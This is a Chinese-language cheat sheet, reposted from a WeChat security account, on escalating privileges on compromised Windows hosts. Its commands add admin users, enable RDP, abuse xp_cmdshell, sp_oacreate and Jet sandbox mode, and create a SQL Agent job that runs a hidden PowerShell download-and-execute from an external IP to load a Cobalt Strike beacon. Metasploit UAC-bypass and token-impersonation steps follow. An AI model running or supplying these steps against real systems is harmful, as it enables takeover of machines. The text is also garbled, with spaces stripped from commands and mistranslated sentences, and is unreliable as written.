本文转载自微信公众号「Bypass」,作者Bypass 。请联系转载本文Bypass公众号。
当获得主机权限时,我们总是希望将普通用户提升为管理员用户,从而获得完全控制目标主机的高权限。Windows常用的提权方式有:内核提权、数据库提权、系统配置错误提权、组策略首选提权、Bypass UAC提权、令牌窃取提权等姿势。
1. 内核溢出漏洞提权
由于目标系统没有及时安装补丁,攻击者可以使用补丁Windows提升系统内核溢出漏洞,轻松获取system权限。
(1) 通过systeminfo比对KB编号,发现系统是否有漏洞。
github项目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
(2) 找到相应的漏洞exp执行,获取system权限
github项目地址:https://github.com/SecWiki/windows-kernel-exploits
(3) 加管理员
netuser用户名密码/addnetlocalgroupAdministrators用户名/add(4) 打开远程桌面
#开启远程REGADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server/vfDenyTSConnections/tREG_DWORD/d0/f#查看远程端口REGqueryHKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server\WinStations\RDP-Tcp/vPortNumber2. 数据库提权
(1) MySQL提权
利用mysql如udf提权、mof提权、启动项提权等。
- udf提权:创建用户自定义函数mysql扩展功能,可以执行系统的任何命令mysql账号root转化为系统system权限。
- mof提权:在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof 这个文件会间隔一段时间(很短)system权限执行一次,所以只要我们通过代码存储我们首先要做的事情,我们就会把它们存储在这里mof权限提升可以在文件中实现。
- 启动项提权:将后面的脚本上传到系统启动目录,当服务器重启时,脚本会自动执行,从而获得系统权限。
(2) SQL Server 提权
利用SQL Sercer执行系统命令的方法有很多,比如xp_cmdshell、SP_OACREATE、沙盒、Agent Job、CLR来提权。
使用xp_cmdshell进行提权:
#启用xp_cmdshellEXECmaster..sp_configure'showadvancedoptions',1;RECONFIGURE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGURE;#通过xp_cmdshell执行系统命令Execmaster.dbo.xp_cmdshell'whoami'SP_OACREATE:
#开启组件EXECsp_configure'showadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'showadvancedoptions',0;#执行系统命令(无回显)declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cwhoami'通过沙箱执行命令:
#开启沙盒execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1#利用jet.oledb执行命令select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','selectshell("whoami")')通过Agent Job执行命令:
修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线
USEmsdb;EXECdbo.sp_add_job@job_name=N'test_powershell_job1';EXECsp_add_jobstep@job_name=N'test_powershell_job1',@step_name=N'test_powershell_name1',@subsystem=N'PowerShell',@command=N'powershell.exe-nop-whidden-c"IEX((new-objectnet.webclient).downloadstring(''http://192.168.214.129:80/a''))"',@retry_attempts=1,@retry_interval=5;EXECdbo.sp_add_jobserver@job_name=N'test_powershell_job1';EXECdbo.sp_start_jobN'test_powershell_job1';3. 系统配置错误提权
(1) 权限配置错误
如果管理员权限配置错误,低权限用户将有权写入高权限运行的文件,那么低权限用户可以替换为恶意后门文件,获得系统权限。一般来说,在启动项目、计划任务和服务中找到错误的配置,并尝试提高权利。
(2) 可信服务路径漏洞
(3) 注册表不安全权限配置
如果低权限用户对程序路径对应的键值有写作权限,则可以控制服务,运行后门程序以获得权限。
#存储Windows服务相关信息HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services#相应的程序路径存储服务HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VulnerableService\服务名\ImagePath3.4AlwaysInstallElevated注册表键AlwaysInstallElevated是战略设置项。windows允许低权限用户System权限运行安装文件。如果使用此策略设置项,任何权限用户都可以NT AUTHORITY\SYSTEM恶意安装权限MSI(Microsoft Windows Installer)文件。
4. 组战略首选项提权
SYSVOL该域共享文件夹用于存储登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时,将用户密码引入脚本可能会导致安全问题。
(1) 访问SYSVOL共享文件夹包括搜索“cpassword”的XML文件,获取AES加密密码。
(2) 使用kali自带的gpp-decrypt进行破解
5. Bypass UAC提权
UAC(User Account Control,用户账户控制)是微软引入的安全机制。Bypass UAC可以提高管理员的权限system权限。
使用msf模块:
msf5exploit(multi/handler)>useexploit/windows/local/bypassuacmeterpreter>getuidmeterpreter>getsystem6. 令牌窃取提权
在MSF中,可用incognito实现token窃取。
meterpreter>useincognito#进入incognito模块meterpreter>list_tokens-u#列出令牌meterpreter>impersonate_token"NTAUTHORITY\SYSTEM"#模拟令牌